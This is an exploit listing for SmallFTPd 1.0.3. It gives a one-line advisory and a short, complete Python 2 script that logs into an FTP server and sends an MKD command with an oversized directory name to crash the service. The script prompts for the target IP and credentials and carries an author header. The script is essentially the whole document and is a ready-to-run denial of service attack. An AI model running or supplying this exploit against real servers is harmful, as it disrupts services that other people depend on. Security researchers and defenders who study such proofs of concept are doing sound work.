SmallFTPd version 1.0.3 suffers from a mkd command denial of service vulnerability.
fa4ff306f7fbdcb83d7b886e6ee4d9a7b3a392048f65279003d6fb7e02362261
from ftplib import FTP
print '''
##############################################
# Created: ScrR1pTK1dd13 #
# Name: Greg Priest #
# Mail: ScrR1pTK1dd13.slammer@gmail.com #
##############################################
# Exploit Title: smallftp_mkd_command_DoS_Exploit
# Date: 2016.10.26
# Exploit Author: Greg Priest
# Version: smallftpd 1.0.3
# Tested on: Windows XP, Windows 7 x64
'''
ftp_ip = raw_input("FTP server IP:")
user = raw_input("username:")
password = raw_input("password:")
killercode = 'CRASH' * 100
ftp = FTP(ftp_ip)
ftp.login(user, password)
print ftp.login
print "CRSAH CODE SENT!"
FTP.mkd(ftp, killercode)